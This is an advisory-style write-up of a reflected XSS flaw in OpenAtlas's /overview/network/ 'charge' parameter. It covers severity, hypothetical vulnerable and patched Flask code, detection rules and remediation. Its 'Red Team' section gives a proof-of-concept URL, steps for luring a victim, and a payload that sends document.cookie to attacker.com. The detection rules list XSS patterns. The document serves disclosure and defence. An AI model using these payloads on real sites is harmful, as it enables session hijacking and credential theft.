CVE-2025-60916

Executive Summary

CVE-2025-60916 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in the Austrian Archaeological Institute's Openatlas application, specifically in the /overview/network/ endpoint. The vulnerability exists in versions prior to v8.12.0 and allows an attacker to inject arbitrary JavaScript code via a crafted payload in the charge parameter. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser. The vulnerability is classified as a reflected XSS, meaning the payload is not stored on the server but is reflected back in the HTTP response. The CVSS score is 0.0 in the NVD data, but based on the vector, the actual severity is medium (CVSS 3.1 base score 6.1). No public exploit code or nuclei template is available at this time, but the vulnerability is confirmed and a patch exists.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application vulnerability in the Openatlas project.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction but can be exploited without authentication, making it a viable vector for phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in the /overview/network/ endpoint of Openatlas. The charge parameter is not properly sanitized or encoded before being reflected in the HTTP response. An attacker can craft a URL such as:

https://target.com/overview/network/?charge=<script>alert('XSS')</script>

When a victim visits this URL, the server reflects the charge parameter value directly into the HTML output without proper escaping. The browser then executes the injected script in the context of the victim's session.

The root cause is the lack of output encoding for user-supplied input in the charge parameter. The application likely uses a templating engine that does not automatically escape HTML entities, or the developer explicitly disabled escaping for this parameter.

Vulnerable vs. Patched Code

Vulnerable Code (before v8.12.0):

# Example Python/Flask code (hypothetical)
@app.route('/overview/network/')
def overview_network():
    charge = request.args.get('charge', '')
    return render_template('network.html', charge=charge)

In the vulnerable version, the charge variable is passed to the template without sanitization. The template might look like:

<div>Charge: {{ charge }}</div>

If the template engine does not auto-escape, this is vulnerable.

Patched Code (v8.12.0):

# Patched version
from markupsafe import escape

@app.route('/overview/network/')
def overview_network():
    charge = request.args.get('charge', '')
    safe_charge = escape(charge)
    return render_template('network.html', charge=safe_charge)

The patched version uses escape() (or equivalent) to HTML-encode the input, preventing script execution.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

1. Identify a target running Openatlas < v8.12.0.
2. Craft a malicious URL:

   https://target.com/overview/network/?charge=<script>alert(document.cookie)</script>
   

3. Send the URL to a victim via email or social engineering.
4. When the victim clicks the link, the script executes, exfiltrating cookies or performing other actions.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Lab Setup:

• Use a local Docker instance of Openatlas v8.11.0.
• Set up a simple HTTP server to capture exfiltrated data.
• Test the PoC.

Blue Team

Detection:

• Monitor web server logs for requests to /overview/network/ with suspicious charge parameters containing <script> or onerror attributes.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search for URLs in logs that contain encoded or unencoded script tags in the charge parameter.
• Look for unusual referrer headers or user-agent strings.

Indicators of Compromise (IOCs)

• URL Pattern: */overview/network/?charge=*<script>*
• Log Entry: GET /overview/network/?charge=<script>...
• Network Traffic: Outbound connections to unknown domains from the victim's browser.
• File Hashes: N/A (no file-based IOCs).

Detection Engineering

YARA Rule

rule CVE_2025_60916_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts against Openatlas /overview/network/ endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60916"
    strings:
        $xss_pattern = "/overview/network/?charge="
        $script_tag = "<script"
        $event_handler = /on\w+\s*=/
    condition:
        $xss_pattern and ($script_tag or $event_handler)
}

Sigma Rule

title: Reflected XSS Attempt on Openatlas /overview/network/
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against Openatlas /overview/network/ endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-60916
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/overview/network/?charge='
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of the charge parameter with non-malicious content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60916 Reflected XSS in Openatlas /overview/network/"; flow:to_server,established; content:"/overview/network/"; http_uri; content:"charge="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Openatlas to version 8.12.0 or later.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests containing <script or onerror in the charge parameter.
3. Apply input validation and output encoding for all user-supplied parameters.

Long-term Fix:

• Ensure all user input is properly HTML-encoded before reflection.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits and penetration testing.

Patch Details:

• Upgrade to Openatlas v8.12.0. The patch is available from the official repository.

Valters IT